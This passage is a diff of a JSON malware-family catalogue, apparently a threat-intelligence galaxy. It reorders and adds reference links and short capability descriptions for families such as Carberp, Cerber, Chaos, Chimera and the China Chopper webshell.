"https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://therecord.media/two-carbanak-hackers-sentenced-to-eight-years-in-prison-in-kazakhstan/", + "https://threatintel.blog/OPBlueRaven-Part1/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html", + "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html" ], "synonyms": [ "Anunak", @@ -17093,12 +17909,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp", - "https://blog.avast.com/2013/04/08/carberp_epitaph/", - "https://web.archive.org/web/20150713145858/http://www.rsaconference.com/writable/presentations/file_upload/ht-t06-dissecting-banking-trojan-carberp_copy1.pdf", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", "https://cdn1.esetstatic.com/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf", "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", - "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree" + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://blog.avast.com/2013/04/08/carberp_epitaph/", + "https://web.archive.org/web/20150713145858/http://www.rsaconference.com/writable/presentations/file_upload/ht-t06-dissecting-banking-trojan-carberp_copy1.pdf" ], "synonyms": [], "type": [] @@ -17107,16 +17923,16 @@ "value": "Carberp" }, { - "description": "Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed “Carp” which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.", + "description": "Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed \u201cCarp\u201d which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat", - "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", - "http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412", "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", - "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/" ], "synonyms": [], @@ -17184,7 +18000,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.catb", "https://minerva-labs.com/blog/new-catb-ransomware-employs-2-year-old-dll-hijacking-technique-to-evade-detection/", - "https://www.sentinelone.com/blog/decrypting-catb-ransomware-analyzing-their-latest-attack-methods/" + "https://www.sentinelone.com/blog/decrypting-catb-ransomware-analyzing-their-latest-attack-methods/", + "http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf" ], "synonyms": [], "type": [] @@ -17211,26 +18028,26 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", - "https://www.wired.com/story/ccleaner-malware-targeted-tech-firms", - "https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident", - "https://risky.biz/whatiswinnti/", - "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", - "https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/", - "https://blog.avast.com/progress-on-ccleaner-investigation", - "https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer", + "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html", "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/", - "https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident", "https://twitter.com/craiu/status/910148928796061696", - "https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/", - "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/", - "http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor", - "https://stmxcsr.com/persistence/print-processor.html", - "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", + "https://www.wired.com/story/ccleaner-malware-targeted-tech-firms", + "https://risky.biz/whatiswinnti/", "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", - "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html" + "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", + "http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/", + "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/", + "https://stmxcsr.com/persistence/print-processor.html", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", + "https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer", + "https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/", + "https://blog.avast.com/progress-on-ccleaner-investigation", + "http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor", + "https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident", + "https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident", + "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", + "https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/" ], "synonyms": [ "DIRTCLEANER" @@ -17273,22 +18090,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html", - "https://www.youtube.com/watch?v=y8Z9KnL8s8s", + "https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", "https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/", - "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.justice.gov/usao-dc/press-release/file/1021186/download", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.youtube.com/watch?v=y8Z9KnL8s8s", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", - "http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/", + "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", + "https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html", "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus" ], "synonyms": [], @@ -17314,8 +18132,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ceta_rat", - "https://blogs.quickheal.com/cetarat-apt-group-targeting-the-government-agencies/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388" + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://blogs.quickheal.com/cetarat-apt-group-targeting-the-government-agencies/" ], "synonyms": [], "type": [] @@ -17341,7 +18159,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaes", - "https://decoded.avast.io/anhho/chasing-chaes-kill-chain/" + "https://decoded.avast.io/anhho/chasing-chaes-kill-chain/", + "https://blog.morphisec.com/chaes4-new-chaes-malware-variant-targeting-financial-and-logistics-customers" ], "synonyms": [], "type": [] @@ -17354,10 +18173,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot", - "https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/", "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/", - "https://www.vice.com/en_us/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec", + "https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/", "https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack", + "https://www.vice.com/en_us/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec", "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/" ], "synonyms": [], @@ -17384,16 +18203,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos", + "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html", + "https://twitter.com/vinopaljiri/status/1519645742440329216", + "https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/", "https://research.openanalysis.net/quasar/chaos/rat/ransomware/2023/04/13/quasar-chaos.html", + "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction", + "https://blog.talosintelligence.com/new-threat-actor-using-yashma-ransomware/", + "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia", "https://www.bleepingcomputer.com/news/security/roblox-game-pass-store-used-to-sell-ransomware-decryptor/", "https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging", - "https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/", "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree", - "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction", - "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html", - "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia", - "https://twitter.com/vinopaljiri/status/1519645742440329216", - "https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/" + "https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/" ], "synonyms": [ "FakeRyuk", @@ -17406,13 +18226,13 @@ "value": "Chaos (Windows)" }, { - "description": "According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim’s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.", + "description": "According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim\u2019s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone", "https://github.com/TheEnergyStory/malware_analysis/tree/master/TajMahal", - "https://securelist.com/project-tajmahal/90240/", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://securelist.com/project-tajmahal/90240/" ], "synonyms": [ "Taj Mahal" @@ -17440,12 +18260,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chches", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", - "https://www.secureworks.com/research/threat-profiles/bronze-riverside", "https://www.jpcert.or.jp/magazine/acreport-ChChes.html", - "https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html", "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html" + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", + "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html", + "https://www.secureworks.com/research/threat-profiles/bronze-riverside", + "https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html" ], "synonyms": [ "HAYMAKER", @@ -17461,9 +18281,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray", + "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf", "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045c", - "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf" + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045c" ], "synonyms": [ "CROWDEDFLOUNDER" @@ -17492,8 +18312,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/", - "https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html" + "https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/" ], "synonyms": [ "cherry_picker", @@ -17518,84 +18338,99 @@ "uuid": "2137a0ce-8d06-4538-ad0b-6ab6ec865493", "value": "ChewBacca" }, + { + "description": "According to PCrisk, Chimera is a ransomware virus that encrypts files stored on infected systems. It is distributed using various false job applications, business offers, and infected email attachments. After encrypting the files, Chimera adds a . crypt extension to each file.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.chimera", + "https://www.malwarebytes.com/blog/news/2015/12/inside-chimera-ransomware-the-first-doxingware-in-wild" + ], + "synonyms": [], + "type": [] + }, + "uuid": "830b0526-8e3b-4369-9677-9f8a31ca5ded", + "value": "Chimera" + }, { "description": "a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper", - "https://attack.mitre.org/groups/G0096", - "https://redcanary.com/blog/microsoft-exchange-attacks", - "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers", - "https://www.youtube.com/watch?v=rn-6t7OygGk", - "https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html", - "https://techcommunity.microsoft.com/t5/azure-sentinel/web-shell-threat-hunting-with-azure-sentinel/ba-p/2234968", - "https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/", + "https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders", + "https://twitter.com/ESETresearch/status/1366862946488451088", "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", - "https://www.wired.com/story/china-microsoft-exchange-server-hack-victims/", + "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/", + "https://redcanary.com/blog/microsoft-exchange-attacks", + "https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection", + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Backdoor%2Bvia%2BXFF%2BMysterious%2BThreat%2BActor%2BUnder%2BRadar.pdf", + "https://www.crowdstrike.com/blog/an-end-to-smash-and-grab-more-targeted-approaches/", + "https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day", + "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html", + "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", + "https://www.huntress.com/hubfs/Mass%20Exploitation%20of%20Microsoft%20Exchange%20(2).pdf", + "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", + "https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", + "https://twitter.com/CyberRaiju/status/1373582619707867136", + "https://www.secureworks.com/research/threat-profiles/bronze-express", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a", + "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", + "https://www.trendmicro.com/en_us/research/21/d/could-the-microsoft-exchange-breach-be-stopped.html", + "https://unit42.paloaltonetworks.com/microsoft-exchange-server-attack-timeline/", + "https://www.paloaltonetworks.com/blog/security-operations/through-the-cortex-xdr-lens-uncovering-a-new-activity-group-targeting-governments-in-the-middle-east-and-africa/", + "https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html", + "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html", + "https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits", "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", "https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/", - "https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers", - "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection", - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Backdoor%2Bvia%2BXFF%2BMysterious%2BThreat%2BActor%2BUnder%2BRadar.pdf", - "https://www.huntress.com/hubfs/Mass%20Exploitation%20of%20Microsoft%20Exchange%20(2).pdf", - "https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html", - "https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", - "https://www.trendmicro.com/en_us/research/21/d/could-the-microsoft-exchange-breach-be-stopped.html", - "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", - "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", - "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", - "https://www.huntress.com/hubfs/Videos/Webinars/Overlay-Mass_Exploitation_of_Exchange.mp4", - "https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html", - "https://www.imperva.com/blog/imperva-observes-hive-of-activity-following-hafnium-microsoft-exchange-disclosures/", "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html", - "https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", - "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/", - "https://blog.joshlemon.com.au/hafnium-exchange-attacks/", - "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", - "https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html", - "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://attack.mitre.org/groups/G0125/", - "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", - "https://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html", + "https://attack.mitre.org/groups/G0096", "https://attack.mitre.org/software/S0020/", - "https://unit42.paloaltonetworks.com/china-chopper-webshell/", - "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html", - "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", - "https://www.crowdstrike.com/blog/an-end-to-smash-and-grab-more-targeted-approaches/", - "https://unit42.paloaltonetworks.com/microsoft-exchange-server-attack-timeline/", - "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", - "https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", - "https://twitter.com/ESETresearch/status/1366862946488451088", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/multi-factor-authentication-new-attacks", - "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", - "https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", - "https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers", - "https://www.secureworks.com/research/threat-profiles/bronze-president", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/", "https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "https://www.huntress.com/hubfs/Videos/Webinars/Overlay-Mass_Exploitation_of_Exchange.mp4", + "https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion", "https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf", - "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" + "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", + "https://unit42.paloaltonetworks.com/china-chopper-webshell/", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/multi-factor-authentication-new-attacks", + "https://techcommunity.microsoft.com/t5/azure-sentinel/web-shell-threat-hunting-with-azure-sentinel/ba-p/2234968", + "https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html", + 